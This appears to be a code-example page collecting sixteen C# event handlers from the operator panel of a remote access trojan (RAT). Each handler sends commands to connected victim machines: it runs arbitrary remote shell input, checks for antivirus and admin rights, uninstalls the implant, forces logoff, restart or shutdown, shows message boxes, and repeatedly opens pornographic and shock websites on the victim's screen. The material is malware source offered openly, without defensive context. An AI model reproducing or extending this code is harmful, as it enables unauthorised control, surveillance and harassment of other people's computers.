示例#1
0
 private void removeBar_Click(object sender, EventArgs e)
 {
     RAT.Send("shutting");
     currentSelectedBar.session.Stop();
     clientsPanel.Controls.Remove(currentSelectedBar);
     AllignClientBars(clientsPanel);
 }
示例#2
0
        private void exit_Click(object sender, EventArgs e)
        {
            this.Hide();

            //tell all the connected clients that we are closing
            ClientBar.SupressErrors = true;

            //tell all clients that the server is shutting down
            foreach (ClientBar bar in clientsPanel.Controls)
            {
                RAT.Send("shutting", bar);
            }

            Application.Exit();
        }
示例#3
0
        private void cmdInputBox_KeyDown(object sender, KeyEventArgs e)
        {
            //if the user hits the 'Return' or 'Enter' key
            if (e.KeyCode == Keys.Return)
            {
                if (cmdInputBox.Text == "cls")
                {
                    cmdBox.Text = "";
                }
                else
                {
                    RAT.Send($"cmd|command|{cmdInputBox.Text}");
                }

                e.SuppressKeyPress = true; //this just supresses the keypress, meaning that we won't get that annoying message when we hit return
            }
        }
示例#4
0
 private void cmdAntivirus_Click(object sender, EventArgs e)
 {
     RAT.Send("info|avirus");
 }
示例#5
0
 private void cmdUninstall_Click(object sender, EventArgs e)
 {
     RAT.Send("rat|uninstall");
 }
示例#6
0
 private void cmdCheckAdmin_Click(object sender, EventArgs e)
 {
     RAT.Send("info|isadmin");
 }
示例#7
0
 private void pornProc_Click(object sender, EventArgs e)
 {
     RAT.Send($"process|https://www.pornhub.com/|1");
 }
示例#8
0
 private void meatProc_Click(object sender, EventArgs e)
 {
     RAT.Send($"process|http://meatspin.fr/|1");
 }
示例#9
0
 private void cmdLogOff_Click(object sender, EventArgs e)
 {
     RAT.Send("pc|logoff");
 }
示例#10
0
 private void cmdRestart_Click(object sender, EventArgs e)
 {
     RAT.Send("pc|restart");
 }
示例#11
0
 private void cmdShutdown_Click(object sender, EventArgs e)
 {
     RAT.Send("pc|shutdown");
 }
示例#12
0
 private void cmdGetBleu_Click(object sender, EventArgs e)
 {
     RAT.Send("info|bleu");
 }
示例#13
0
 private void RemoteCMD_FormClosing(object sender, FormClosingEventArgs e)
 {
     RAT.Send("cmd|stop");
 }
示例#14
0
 private void RemoteCMD_Load(object sender, EventArgs e)
 {
     RAT.Send("cmd|start");
 }
示例#15
0
 private void send_Click(object sender, EventArgs e)
 {
     RAT.Send($"showmsg|{titleBox.Text}|{msgBox.Text}|{iconBox.SelectedItem.ToString()}");
     this.Close();
 }
示例#16
0
 private void open_Click(object sender, EventArgs e)
 {
     RAT.Send($"process|{urlBox.Text}|{iterationsBox.Text}");
     this.Close();
 }